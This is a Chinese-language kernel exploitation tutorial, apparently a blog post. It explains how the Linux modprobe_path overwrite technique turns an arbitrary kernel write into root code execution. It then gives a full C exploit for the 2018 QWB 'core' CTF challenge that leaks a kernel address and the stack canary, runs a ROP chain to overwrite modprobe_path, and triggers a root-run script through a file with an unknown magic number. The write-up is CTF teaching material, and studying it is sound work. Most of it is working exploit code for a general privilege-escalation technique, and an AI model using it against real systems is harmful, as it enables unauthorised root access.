Kernel Pwn Overwirte modprobe_path
modprobe
modprobe
是一个程序, 用于安装或者卸载内核模块. 内核在某些情况下会调用这个程序. 不过, modprobe
路径存在变量 modprobe_path
中, 默认是 /sbin/modprobe
. 同时这个地址是可写的.
当调用 execve syscall 执行程序时, 如果系统不认识这个文件的魔数, 那么内核将会执行如下调用链:
do_execve()
-> do_execveat_common()
-> bprm_execve()
-> exec_binprm()
-> search_binary_handler()
-> request_module()
-> call_modprobe()
其中, call_modprobe()
关键代码如下:
static int call_modprobe(char *module_name, int wait)
{
// ...
argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name;
argv[4] = NULL;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
// ...
ret = call_usermodehelper_exec(info, wait | UMH_KILLABLE);
// ...
}
这个函数会到用户态去执行程序, 并且其权限是 root. 所以只要劫持 modprobe_path
, 然后创建一个系统不认识的文件并执行, 就可以以 root 权限执行任意程序 / shell 脚本了. 需要注意要给两个程序 x 权限, 否则无法执行.
modprobe_path
这个符号可能在 kallsyms 里没有, 但是可以翻一下源码, 看哪个函数调用了它, 比如 __request_module
, 然后去看汇编, 就能够找到了.
这个方法在开了 FG-KASLR 时很有用, 因为 modprobe_path
在数据段, 不受 FG-KASLR 的影响. 而返回用户态的函数 swapgs_restore_regs_and_return_to_usermode
在 trampline page, 也不受影响.
例题 2018 强网杯 core
题目之前分析过了, 略掉. 找一些 gadget: mov [reg1], reg2; ret
, pop reg1/reg2; ret
, ROP 链就可以任意地址写了. 修改完 modprobe_path
后还要返回用户态执行.
// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
void success(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void fail(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void debug(const char *msg) {
#ifdef DEBUG
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
#endif
}
void printvar(void handle(const char *), char *hint, size_t var) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "%s: 0x%lx\n", hint, var);
handle(buf);
free(buf);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
user_sp &= ~0xf;
user_sp += 8;
success("Status has been saved.\n");
printvar(debug, "cs", user_cs);
printvar(debug, "ss", user_ss);
printvar(debug, "rsp", user_sp);
printvar(debug, "rflags", user_rflags);
}
int fd;
size_t off, swapgs_restore_regs_and_return_to_usermode;
void leakAddr() {
FILE *kallsyms = fopen("/tmp/kallsyms", "r");
size_t addr = 0;
char t[2] = {0}, name[128] = {0};
while (fscanf(kallsyms, "%lx%s%s", &addr, t, name) != EOF) {
if (!strcmp(name, "swapgs_restore_regs_and_return_to_usermode")) {
swapgs_restore_regs_and_return_to_usermode = addr;
off = addr - 0xffffffff81a008da;
printvar(success, "leak swapgs_restore_regs_and_return_to_usermode", addr);
swapgs_restore_regs_and_return_to_usermode += 22;
}
}
fclose(kallsyms);
}
size_t canary;
void leakCanary() {
size_t *buf = calloc(0x1000, 1);
ioctl(fd, 0x6677889C, 0x40);
ioctl(fd, 0x6677889B, buf);
canary = buf[0];
printvar(success, "leak canary", canary);
free(buf);
}
void get_flag() {
success("Backing from the kernelspace.\n");
system("echo -ne \"\xff\\xff\\xff\\xff\" > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("echo \"#!/bin/sh\" >> /tmp/tp");
system("echo \"cp /root/flag /tmp/flag && chmod a+r /tmp/flag\" >> /tmp/tp");
system("chmod +x /tmp/tp");
execve("/tmp/dummy", NULL, NULL);
system("cat /tmp/flag");
}
void pwn() {
fd = open("/proc/core", O_RDWR);
leakAddr();
leakCanary();
size_t *rop = calloc(0x800, 1);
size_t modprobe_path = off + 0xffffffff8223d8c0;
size_t pop_rdi_ret = off + 0xffffffff81000b2f;
size_t mov_qword_rdx_rdi = off + 0xffffffff812fe0b8;
size_t pop_rdx_ret = off + 0xffffffff810a0f49;
union {
char str[0x8];
size_t num;
} name;
name.num = 0;
strcpy(name.str, "/tmp/tp");
int cur = 8;
rop[cur++] = canary;
rop[cur++] = canary;
rop[cur++] = pop_rdi_ret;
rop[cur++] = name.num;
rop[cur++] = pop_rdx_ret;
rop[cur++] = modprobe_path;
rop[cur++] = mov_qword_rdx_rdi;
rop[cur++] = swapgs_restore_regs_and_return_to_usermode;
rop[cur++] = 0;
rop[cur++] = 0;
rop[cur++] = (size_t) get_flag;
rop[cur++] = user_cs;
rop[cur++] = user_rflags;
rop[cur++] = user_sp;
rop[cur++] = user_ss;
write(fd, rop, 0x800);
free(rop);
ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));
close(fd);
}
int main() {
// signal(SIGSEGV, getRootShell);
saveStatus();
pwn();
return 0;
}